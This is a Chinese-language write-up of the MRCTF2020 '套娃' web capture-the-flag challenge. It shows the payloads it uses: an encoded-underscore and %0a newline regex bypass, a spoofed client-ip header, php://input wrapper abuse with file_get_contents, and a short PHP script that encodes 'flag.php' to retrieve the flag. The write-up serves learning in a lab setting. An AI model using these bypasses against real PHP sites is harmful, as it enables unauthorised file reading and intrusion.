打开网页查看源代码

MRCTF2020 套娃

关于$_SERVER['QUERY_STRING']取值,例如:
http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING'] = "p=222";
substr_count()函数计算子串在字符串中出现的次数
PS:子串区分大小写

上述代码不能出现'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’绕过

通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过)绕过

payload:?b%5Fu%5Fp%5Ft=23333%0a

MRCTF2020 套娃

打开secrettw.php查看源码

MRCTF2020 套娃

复制注释代码放进控制台

MRCTF2020 套娃

随便POST一个Merak值,回显如下

MRCTF2020 套娃

分析一下代码

1.需要IP地址为127.0.0.1 在header中加client-ip:127.0.0.1

2.file_get_contents用php伪协议绕过

2333=php://input
post:todat is a happy day

3.change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

反写change函数,exp:

<?php
function unchange($v){ 
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到ZmpdYSZmXGI=

用burp传入参数得到flag

MRCTF2020 套娃

相关文章:

  • 2022-02-18
  • 2021-08-30
  • 2022-02-26
  • 2021-09-10
  • 2021-07-16
  • 2021-11-29
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-07-27
  • 2022-12-23
  • 2021-12-05
  • 2021-05-21
  • 2022-01-02
  • 2022-01-15
相关资源
相似解决方案